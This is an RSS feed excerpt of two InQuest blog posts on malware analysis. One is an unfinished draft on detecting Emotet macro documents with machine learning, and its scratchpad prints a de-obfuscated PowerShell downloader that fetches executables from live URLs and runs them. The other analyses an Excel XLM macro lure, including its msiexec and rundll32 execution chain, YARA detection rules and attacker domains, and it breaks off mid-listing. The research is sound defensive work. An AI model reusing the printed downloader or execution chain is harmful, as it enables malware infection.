&lt;p&gt;After we had trained our models, they were shown to have great accuracy, consistently marked unlabeled files as Emotet that even our trained experts were unable to find without deeper inspection. With confidence that they were working correctly, we decided to take one of the classifiers apart to see how it worked, specifically our Gradient Boost (GB) classifier. To do so, we viewed the relationship between each feature and each sample in terms of a Shapley Additive Explanation (SHAP) value. &lt;/p&gt;
&lt;p&gt;A SHAP value is the result of a complex equation based on game theory; basically, a measure of the impact any given feature had on the final prediction of any given sample. We illustrate this below. Let's take a look at how the feature impact differs between our standard classifier and our Emotet specific one. The following data visualizations depict the top 20 most important features, out of over 100 features that fuel each of the classifiers.&lt;/p&gt;
&lt;p&gt;Gradient Boost Malware Classifier SHAP Values&lt;/p&gt;
&lt;p&gt;Gradient Boost Emotet Classifier SHAP Values&lt;/p&gt;
&lt;p&gt;Now, depending on the sample, a feature will have more or less impact on the final result. Because there’s variance in this respect, the graphed features are ranked by the average magnitude of their effects. The individual impacts can be seen by the placement of the samples on the X axis, with a location farther to the left indicating that the feature had a larger negative impact (decreased the likelihood the sample was malicious) and placement farther to the right representing a strong positive one (increased malicious likelihood.) The actual colors are indicators of how high or low a sample scored on the associated feature. &lt;/p&gt;
&lt;p&gt;With all of this in mind, we’re able to interpret the classifier’s “thought process” for each training set, without having to go through the hundreds of thousands of decision branches that it utilized to arrive at its decisions. This allows us to directly compare the two classifiers, so let’s zoom in on what each one considered the top five most important features to be.&lt;/p&gt;
&lt;p&gt;For our standard classifier, the top five most important features, in descending order, are the number of macro functions with a length greater than 18 characters, the number of macro comments, the language of origin that the document was created in, the length of the longest function name within the macro, and the number of branching paths (“if-then” statements) contained within the macro as well. While functions longer than 18 has the highest importance to a given sample on average (and, interestingly, it seems that higher numbers of such functions make a sample more likely to be benign,) the most consistent feature is the language. This likely due to the way language was encoded as a feature; as a categorical variable, each given language was encoded as an integer. The fact that a higher integer almost always leads to higher predicted maliciousness likely has to do with one language in particular being almost always associated with malicious code, and its associated number being a larger integer, perhaps a 3 or 4. The fifth most important feature, number of branches, is also fairly consistent, as well as intuitive,  with lower scores leading to a higher likelihood of being benign. &lt;/p&gt;
&lt;p&gt;The top five features for our Emotet classifier are a bit more focused, with most of the importance resting on the first two, the number of gibberish variables and the length of the smallest value of a file’s metadata (stored information about the file itself, such as its language of origin, date of creation, etc.) It seems that high scores on the former and low scores on the latter are both string indicators that a file might be Emotet. &lt;/p&gt;
&lt;p&gt;Let's swing back around to the macro malware family question we posed in the previous section. Where did those clusters come from? The answer to that has to do with k-means clustering, a type of unsupervised learning. In simplest terms, k-means finds cluster centers, or prototypical “average” examples that define groups of similar data. We ran multiple k-means each set to find a predetermined number of cluster centers ranging from 2-12 on our Emotet samples, based on their feature vectors. On each passing, we noted how “different” the cluster centers were from each other, and decided that past four there was too much overlap among them to consider them as separate families. We'll dive further into unsupervised clustering methods in a separate / future blog post.&lt;/p&gt;
&lt;p&gt;Validation&lt;br&gt;
TODO validation at Powershell level / dynamic analysis /  show samples&lt;/p&gt;
&lt;p&gt;On a final note, If you're interested in this kind of work and will be attending Blackhat USA in Las Vegas in August, be sure to check out Worm Charming: Harvesting Malware Lures for Fun and Profit presented by Pedram Amini on Wednesday, August 7 from 2:40pm through 3:30pm.&lt;/p&gt;
&lt;p&gt;Above this line is our actual blog draft, what follows is raw notes/materials.&lt;br&gt;
SCRATCHPAD&lt;/p&gt;
&lt;p&gt;Emotet samples identified by classifier:&lt;/p&gt;
&lt;p&gt;c742db754ce520271e3d5f299d2fb13090ee8e46fbef4534e65ee6e04d3e0ca7 (Cat Quick-Heal labeled Emotet)&lt;br&gt;
1a6afc1493e33971fca254cbac8d34b6b131f66d87512d0c4f63c2a0ea288613 (noone labeled Emotet)&lt;/p&gt;
&lt;p&gt;De-obfuscated powershell from c742 sample:&lt;/p&gt;
&lt;p&gt;$franc = new-object System.Net.WebClient;&lt;br&gt;
$nsadasd = new-object random;&lt;br&gt;
$bcd = 'http://eapsaacademy.org/CsZxHA/,&lt;br&gt;
http://aydisa.com/QPhnCF/,&lt;br&gt;
http://galvacrom.cl/ALnQkYy/,&lt;br&gt;
http://www.apicolaelrefugio.cl/iPFNo/,&lt;br&gt;
http://www.drmka.ir/P60u/'.Split(',');&lt;br&gt;
$karapas = $nsadasd.next(1, 343245);&lt;br&gt;
$huas = $env:public + '\' + $karapas + '.exe';&lt;br&gt;
foreach($abc in $bcd)&lt;br&gt;
{&lt;br&gt;
try&lt;br&gt;
{&lt;br&gt;
$franc.DownloadFile($abc.ToString(), $huas);&lt;br&gt;
Invoke-Item($huas);&lt;br&gt;
break;&lt;br&gt;
}&lt;br&gt;
catch&lt;br&gt;
{&lt;br&gt;
write-host $_.Exception.Message;&lt;br&gt;
}&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;# 50 sample documents with their extracted macros.&lt;br&gt;
$ ls -1 *.macro | wc -l&lt;br&gt;
      50&lt;/p&gt;
&lt;p&gt;# unique, there are only 18 though:&lt;br&gt;
$ for f in *.macro; do cp $f uniq_macros/`sha256 $f | cut -d' ' -f1`; done&lt;br&gt;
$ cd uniq_macros/&lt;br&gt;
$ ls -1 | wc -l&lt;br&gt;
      18&lt;/p&gt;
&lt;p&gt;# line counts.&lt;br&gt;
$ wc -l * | sort -n&lt;br&gt;
      23 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa&lt;br&gt;
      72 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4&lt;br&gt;
      82 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a&lt;br&gt;
      84 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d&lt;br&gt;
      98 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77&lt;br&gt;
     113 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb&lt;br&gt;
     121 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6&lt;br&gt;
     134 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7&lt;br&gt;
     160 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf&lt;br&gt;
     184 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f&lt;br&gt;
     189 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f&lt;br&gt;
     254 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded&lt;br&gt;
     264 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a&lt;br&gt;
     266 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba&lt;br&gt;
     594 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e&lt;br&gt;
     839 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b&lt;br&gt;
    1192 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b&lt;br&gt;
    1225 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd&lt;br&gt;
    5894 total&lt;/p&gt;
&lt;p&gt;# file sizes.&lt;br&gt;
$ for f in *; do stat -f '%z %N' $f; done | sort -n&lt;br&gt;
     1135 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa&lt;br&gt;
     2493 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb&lt;br&gt;
     3888 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6&lt;br&gt;
     4467 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7&lt;br&gt;
     4752 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a&lt;br&gt;
     4841 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d&lt;br&gt;
     5080 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf&lt;br&gt;
     5727 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77&lt;br&gt;
     5792 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f&lt;br&gt;
     5871 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4&lt;br&gt;
     6052 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f&lt;br&gt;
     8266 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded&lt;br&gt;
     9915 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba&lt;br&gt;
    11696 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a&lt;br&gt;
    40662 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b&lt;br&gt;
    45534 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e&lt;br&gt;
    49096 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd&lt;br&gt;
    49129 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b&lt;/p&gt;
&lt;p&gt;# common function call distribution.&lt;br&gt;
# NOTE that we use https://github.com/wizzat/distribution here instead of &quot;sort | uniq -c | sort -nr | head -n15&quot;;&lt;br&gt;
$ for m in *; do cat $m | grep '('; done | egrep -o '[A-Za-z]+\(' | distribution&lt;br&gt;
    Key|Ct   (Pct)    Histogram&lt;br&gt;
  CLng(|1274 (27.58%) ----------------------------------------------------------&lt;br&gt;
 CByte(| 529 (11.45%) ------------------------&lt;br&gt;
 Right(| 424  (9.18%) -------------------&lt;br&gt;
  Left(| 424  (9.18%) -------------------&lt;br&gt;
  CStr(| 357  (7.73%) ----------------&lt;br&gt;
   Fix(| 325  (7.04%) ---------------&lt;br&gt;
NpwFOc(| 240  (5.20%) -----------&lt;br&gt;
   Chr(| 184  (3.98%) ---------&lt;br&gt;
   Int(| 120  (2.60%) ------&lt;br&gt;
 FBSTu(|  83  (1.80%) ----&lt;br&gt;
  CDbl(|  62  (1.34%) ---&lt;br&gt;
   Sin(|  59  (1.28%) ---&lt;br&gt;
   Sqr(|  55  (1.19%) ---&lt;br&gt;
 Round(|  53  (1.15%) ---&lt;br&gt;
   Tan(|  51  (1.10%) ---&lt;/p&gt;
&lt;p&gt;Emotet HipChat Comms&lt;br&gt;
24cb8f765803b7feacfdee86224409bba85df80a3822e87e7f26a4328f88ec6f&lt;br&gt;
402f97a639a722d3f6d5ff09453d81fe9b0fc15ae138d4b1bb9061b4af22eb1b&lt;br&gt;
6b311d4cfb2be9c469ff2076785ccf7891eb040c9318bab4304cb52016eaf7d8&lt;br&gt;
fd1cbd3aec3b63b92a5a82b10d2e9547e091eb523172c07a09bac468d1c92e69&lt;br&gt;
044ef5f307e53b24a6c7688dbac252a284cdece4423c2fe2329865049319e1fb&lt;br&gt;
GB says these are emotet, RF and LR dont, none of the AV engines label above samples as Emotet&lt;/p&gt;
&lt;p&gt;Important Events Timeline&lt;br&gt;
Proofpoint researchers began tracking a prolific actor (referred to as TA542) in 2014 &lt;/p&gt;
&lt;p&gt;June 12th 2019 Emotet is still offline and retooling per many conversations.&lt;br&gt;
    - Hypothesis so far is that they are going to add in a RDP CVE to it.&lt;br&gt;
    - Something happened and it got shut down.  This is most likely not the case but would be nice :}&lt;br&gt;
(https://pastebin.com/vwNSwbJK)&lt;br&gt;
Emotet Tier 1 C2 is still down on both botnets. I wanted to update these lists because I was missing 4 combos on E1 and 8 combos on E2. The correct totals are 126 for E1 and 100 for E2. Somehow I truncated the totals and missed these 12 IP/Port combos. @0xtadavie found this oversight and provided me with the following missing combinations. Fortunately if you were just blocking on IPs, some of these were just additional ports on the same host.&lt;/p&gt;

&lt;h2&gt;Free Email Hygiene Analysis&lt;/h2&gt;
&lt;p&gt;Solid email security begins with proper email hygiene. There are a variety of email hygiene technologies and wrapping one's head around them all is challenging. Try our complimentary Email Hygiene Analysis and receive an instant report about your company's security posture including a simple rating with iterative guidance, as well as a comparison against the Fortune 500. Try it today!&lt;/p&gt;
&lt;p&gt;   &lt;a href=&quot;https://cta-redirect.hubspot.com/cta/redirect/4270940/f60a81fd-2ac1-4664-87e5-26aa2e3a3a6b&quot; target=&quot;_top&quot;&gt;&lt;img src=&quot;/legacy/2019-07-03-emotet-unmasking-via-machine-learning/f60a81fd-2ac1-4664-87e5-26aa2e3a3a6b.png&quot; alt=&quot;Free Email Hygiene Analysis&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2019-07-03 on &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2019/07/03/emotet-unmasking-machine-learning&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>01.29.2019: Extracting "Sneaky" Excel XLM Macros</title>
            <link>http://pedramamini.com/blog/2019.01.29/</link>
            <pubDate>Tue, 29 Jan 2019 00:00:00 -0600</pubDate>
            <description>&lt;p&gt;In this article, we present our in-depth analysis of a malicious Microsoft Excel document (.xlm format) that we found in the wild. We show how existing open source tools can be utilized to carve out interesting artifacts. During our analysis, we also point out some tool limitations and present our solution to closing the gap. Ultimately, our goal is to orchestrate the carving of as many artifacts as possible, for robust threat detection and prevention.&lt;br&gt;
&lt;br&gt;
The sample we'll dive into originally popped up on our RADAR a few weeks ago, just around the new year. Received through one of our [VirusTotal Intelligence](https://www.virustotal.com/intelligence/) YARA hunt rules that search for suspicious Microsoft Office documents. The initial sample and some relevant reports:&lt;/p&gt;

&lt;p&gt;* SHA256: 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526&lt;br&gt;
* Multi-AV: [VirusTotal](https://www.virustotal.com/en/file/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526/analysis/)&lt;br&gt;
* Sandbox detonation: [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526)&lt;br&gt;
* [Downloadable Samples](https://github.com/InQuest/malware-samples/tree/master/2019-01-15-Mal-Excel-Doc-Macrosheet)&lt;/p&gt;

&lt;p&gt;Initial AV detection was rather low (3/59), we'll see why when we dive into the analysis. As of the time of this blogs publish, 30 days have passed and the file has been rescanned 6 times, resulting in a total of 9 out of 59 engines successfully detecting the threat.&lt;/p&gt;

&lt;p&gt;A Cursory Glance&lt;br&gt;
----------------&lt;br&gt;
First, we open the XLS file with Microsoft Excel in a virtual environment to see what it looks like to an end-user. This Excel file contains a single spreadsheet, and the spreadsheet contains a single image that instructs the reader to click &quot;Enable content&quot; in order to view/edit the document (Fig 1); this is a common social engineering attempt to entice the user into allowing execution of the first stage of the malware payload:&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/excel.png&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/excel.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 1. Enticing users to activate the first stage of the malware. We detect this and similar lures through Optical Character Recognition (OCR).

&lt;p&gt;Note that the social engineering component alone of this document lure is enough to trigger InQuest threat prevention. In this particular case through the Optical Character Recognition (OCR) layer of our [Deep File Inspection (DFI) stack](https://blog.inquest.net/blog/2018/02/12/deep-file-inspection).&lt;/p&gt;

&lt;p&gt;Let's use the popular [oledump](https://blog.didierstevens.com/programs/oledump-py/) and [olevba](https://github.com/decalage2/oletools/wiki/olevba) Python scripts, to examine whether the XLS file contains any VBA macros:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
$ olevba3 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526&lt;br&gt;
olevba3 0.53.1 - http://decalage.info/python/oletools&lt;br&gt;
Flags        Filename&lt;br&gt;
-----------  -----------------------------------------------------------------&lt;br&gt;
OLE:-------- 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526&lt;br&gt;
===============================================================================&lt;br&gt;
FILE: 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526&lt;br&gt;
Type: OLE&lt;br&gt;
No VBA macros found.&lt;/p&gt;

&lt;p&gt;$ oledump.py 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526&lt;br&gt;
  1:      4096 '\x05DocumentSummaryInformation'&lt;br&gt;
  2:      4096 '\x05SummaryInformation'&lt;br&gt;
  3:    173064 'Workbook'&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;According to both tools, the document seemingly doesn't contain any VBA macros. Note that oledump can leverage an additional plugin to dive deeper into the file, more on this later. To further investigate the file, we'll employ the help of a Windows GUI tool for Structure Storage View [SSView](https://www.mitec.cz/ssv.html) and a hex editor, in this case [Hexinator](https://hexinator.com/).&lt;/p&gt;

&lt;p&gt;A Deeper Dive&lt;br&gt;
-------------&lt;br&gt;
XLS is a [Compound Document File (CDF or CF)](https://www.openoffice.org/sc/compdocfileformat.pdf) or [Object Linking and Embedding (OLE) File](https://msdn.microsoft.com/en-us/library/dd942138.aspx); thus, it can be explored with any OLE/CF viewer such as SSView. OLE files are hierarchical data structures consisting of several storages and streams, analogous to folders and files on your standard file system. Fig 3 shows the structure of this particular XLS file in SSView. In this file, the **Workbook** stream is interesting as it contains all the information related to this workbook such as the included sheets. The structure of this stream is fully specified in [Microsoft Office Excel 97-2007 - Binary File Format Specification](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf). We dump the **Workbook** stream to the filesystem by right-clicking on its name and then selecting &quot;Save stream ...&quot;.&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/ssview.png&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/ssview.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 3. Using SSView to explore the XLS files storages and streams.

&lt;p&gt;Note that we can also use 7zip to extract all storages and streams from an OLE compound file. 7zip creates a folder and a file for each relevant storage and stream parsed out of the compound file. We pull the extracted **Workbook** stream into our hex editor, and can spot a **cmd.exe** pivot at offset 0x028ABB as depicted in Fig 4.&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/hexinator.PNG&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/hexinator.PNG&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 4. Spotting the embedded cmd.exe pivot in the extracted Workbook stream.

&lt;p&gt;Why the pivot through **msiexec.exe**? It's one of a myriad of &quot;Living off the Land&quot; (LOL) techniques that attackers employ to mask their activitiy from runtime endpoint security monitoring tools. For a well maintained list of LOL binaries and libraries, see the [LOLBAS](https://lolbas-project.github.io/) project... they have a section dedicated to [msiexec](https://lolbas-project.github.io/lolbas/Binaries/Msiexec/). The ```serf=19``` bit is interesting, see the relevant documentation in the MSDN article for [Custom Action Type 19](https://docs.microsoft.com/en-us/windows/desktop/msi/custom-action-type-19). This makes for a good hunt rule on its own. We're looking for ```serf=19``` specifically, or any other ```serf=``` and an URL prefix of ```http```:&lt;/p&gt;

&lt;p&gt;```yara&lt;br&gt;
// see: https://github.com/InQuest/yara-rules/&lt;br&gt;
rule MSIExec_Pivot&lt;br&gt;
{&lt;br&gt;
    strings:&lt;br&gt;
        $serf19   = &quot;serf=19&quot; nocase ascii wide&lt;br&gt;
        $msiserf1 = &quot;msiexec&quot; nocase ascii wide&lt;br&gt;
        $msiserf2 = &quot;serf=&quot;   nocase ascii wide&lt;br&gt;
        $msiserf3 = &quot;http&quot;    nocase ascii wide&lt;br&gt;
    condition:&lt;br&gt;
        $serf19 or all of ($msiserf*)&lt;br&gt;
}&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;Before shifting focus to the actual MSI file that the msiexec pivots to, let's take a brief look at the domain **office365advance[.]com**. It was only registered recently, a few days before the sample in question was first seen on Virus Total. The resolving IP address geo locates to Russian and appears to host another domain as well:&lt;/p&gt;

&lt;p&gt;| Domain               | IP           | Registration Date | Location    |&lt;br&gt;
|----------------------|:--------------:|:--------------------:|--------|&lt;br&gt;
| office365advance[.]com | 185.68.93.84 | 12/26/2018         | Russia |&lt;br&gt;
| krontvhouse[.]com      | 185.68.93.84 | 2014               | Russia |&lt;/p&gt;

&lt;p&gt;Further pivots can be made to uncover other related infrastructure, we leave this as an exercise for the reader and instead next examine the MSI installer which is retrieved from this domain. The MSI file has a SHA256 hash of [a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a](https://www.virustotal.com/en/file/a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a/analysis/) and was initially uploaded to Virus Total on the same day that office365advance[.com] was registered. Initial detection was a meager 2 detection... today, 36 AV vendors properly detect this file as malicious. A simple string analysis on the MSI reveals the URL [www.exetomsi.com](http://www.exetomsi.com/), which contains a free tool to convert executable files (.exe) to an MSI installer. Turns out, this is a valuable hunting rule as well, we've been watching the results for a while and there's plenty of other malware authors converting their payloads to MSI using this tool:&lt;/p&gt;

&lt;p&gt;```yara&lt;br&gt;
// see: https://github.com/InQuest/yara-rules/&lt;br&gt;
rule Executable_Converted_to_MSI&lt;br&gt;
{&lt;br&gt;
    strings:&lt;br&gt;
        $magic = /^\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00/&lt;br&gt;
        $url   = &quot;www.exetomsi.com&quot; nocase&lt;br&gt;
    condition:&lt;br&gt;
        $magic at 0 and $url&lt;br&gt;
}&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;Obviously, this string is easily bleached and thus this signature is easily evaded. Finer selected heuristics will provide a more robust hunt rule, again left as an exercise for the reader.&lt;/p&gt;

&lt;p&gt;The MSI file in turn contains a malicious binary (c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4). Upon its execution, it drops a VBS script (rds.vb, 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4), a Batch file (help.bat, 91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce), and Windows DLL library (htpd.dat, 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190). The VBS script simply executes the dropped ```help.bat``` file via a ```WScript.Shell``` pivot:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
# RDS.VB&lt;br&gt;
CreateObject(&quot;WScript.shell&quot;).run &quot;cmd /c %temp%\help.bat&quot;, 0, False&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;The executed batch file in turn pivots to the dropped DLL by way of rundll32.exe. Note the entry point of the DLL here is ```bogus()```:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
# HELP.BAT&lt;br&gt;
rundll32.exe C:\Users\ZGSPBU~1\AppData\Local\Temp\htpd.dat, bogus&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;The DLL was also uploaded to [Virus Total on 12/26/18](79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190), the date of the domain registration. Initial detection was at 4, whereas today, the majority of AV engines (46) successfully detect the DLL as malicious. Unfortunately this is the end of the line for our investigation. As of the time of research, ```htpd.dat:bogus()``` attempts to retrieve a next-stage payload from one unreachable and another unregistered server. We've made public a [Joe Sandbox Detonation Report](https://jbxcloud.joesecurity.org/analysis/754882/0/html) for your perusal.&lt;/p&gt;

&lt;p&gt;Within that report we can see two possible domains for next-stage retrieval:&lt;/p&gt;

&lt;p&gt;| URL                                      | Status   |&lt;br&gt;
|------------------------------------------|----------|&lt;br&gt;
| hxxps://vesecase[.]com/support/form.php  | Offline  |&lt;br&gt;
| hxxps://afsssdrfrm[.]pw/support/form.php | Unregistered |&lt;/p&gt;

&lt;p&gt;Peering back into the history of the registered, but currently offline domain, we can see that as of 12/20/2018 vesecase[.]com was hosting a default Apache Ubuntu install page:&lt;/p&gt;

&lt;p&gt;* https://research.domaintools.com/research/screenshot-history/vesecase.com/#0&lt;/p&gt;

&lt;p&gt;Macroless Command Execution?&lt;br&gt;
----------------------------&lt;br&gt;
What of the original pivot though? How does the Excel malware lure transition from the user's enabling of active content, to the cmd.exe / msiexec combination? It turns out the active content resides within an XLM macro, an age old technology that is giving AV some grief as of late. These kinds of techniques appear from time to time. Collating documents through capture (data-in-motion) and aggregation (data-at-rest) into the InQuest platform empowered by Deep File Inspection (DFI) provides threat hunting teams with an analysis tool to discover previously undiscovered and targeted threats... just like this.&lt;/p&gt;

&lt;p&gt;To discover the answer, we'll take an ever deeper look at the Workbook stream, which is in the [BIFF8 format](https://www.openoffice.org/sc/excelfileformat.pdf). First, we'll take an interactive look with the Windows tool [BIFFView++](https://www.aldeid.com/wiki/BiffView). As it is depicted in figures 5 and 6, the msiexec command is found within a **Cell Formula** (6h) record. That record is contained within the very first cell of the spreadsheet, **A1** (column 'A', row '1').&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/biffview-cellformula.png&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/biffview-cellformula.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 5. Determining the type of record that encompasses the malicious msiexec command.

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/cellformula.PNG&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/cellformula.PNG&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 6. Structure of a Cell Formula (6h) record (ref 1)

&lt;p&gt;Now, we need to determine the sheet that contains this particular cell formula. According to the [XLM Spec](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf), all information about a sheet such as its name, type, and stream position are kept within a BOUNDSHEET record (85h). In Fig 7. we can see that this workbook has two BOUNDSHEET records; which means it has two sheets. However, one of them must be hidden as we can only see one sheet in Fig 1.&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/boundsheet.png&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/boundsheet.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 7. BOUNDSHEET records in this Workbook; representing two sheets.

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/optionflag.png&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/optionflag.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 8. Option flags in BOUNDSHEET record (this field starts at offset 8 and is two bytes; marked as green and blue in Fig 7)

&lt;p&gt;The first sheet starts at offset 0x028938 and the second one at offset 0x028C17. The cell formula that we are interested in is located at 0x028ABB; this means that this cell is in the first sheet; which is a hidden macro sheet. We can unhide the sheet by either setting the hidden state to zero within the file, or toggling the setting through the Excel interface. It is interesting to note that the hidden state can also be set to **2**; which is called *very hidden* state. *Very hidden* sheets cannot be unhidden through the Excel interface, they can only be toggled to visible via manual hex editing of the file. After unhiding the macro sheet, we can see the embedded macro clearly in the Excel GUI.&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/macrosheet.png&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/macrosheet.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 9. Macro sheet containing malicious Cell Formula pivot.

&lt;p&gt;This formula is triggered when the document is opened (Auto_Open label points to cell **A1**), the user is asked to enable active content, and then the cmd.exe/msiexec and subsequent chain of events are automatically executed. As mentioned earlier, XLM 4.0 macros are an arcane technology that predate VBA even (which was introduced in Excel 5.0).&lt;/p&gt;

&lt;p&gt;We're afforded yet another hunting opportunity here. The following YARA rule will detect Excel files with both hidden and very hidden macro sheets. Please note that not all XLM files with hidden Macro sheets are malicious.&lt;/p&gt;

&lt;p&gt;```yara&lt;br&gt;
// see: https://github.com/InQuest/yara-rules/&lt;br&gt;
rule Excel_Hidden_Macro_Sheet&lt;br&gt;
{&lt;br&gt;
        strings:&lt;br&gt;
                $ole_marker     = {D0 CF 11 E0 A1 B1 1A E1}&lt;br&gt;
                $macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}&lt;br&gt;
                $macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}&lt;br&gt;
        condition:&lt;br&gt;
                $ole_marker at 0 and 1 of ($macro_sheet_h*)&lt;/p&gt;

&lt;p&gt;}&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;To programmatically extract XLM macros from an Excel Workbook, we can lean on the BIFF plugin that is bundled with [@DidierStevens](https://twitter.com/DidierStevens) oledump tool. This plugin recognizes a number of functions such as EXEC, REGISTER, and HALT. First, let's explore the BIFF objects by count:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
# BIFF dump, sorted by record type popularity, with partial annotations.&lt;br&gt;
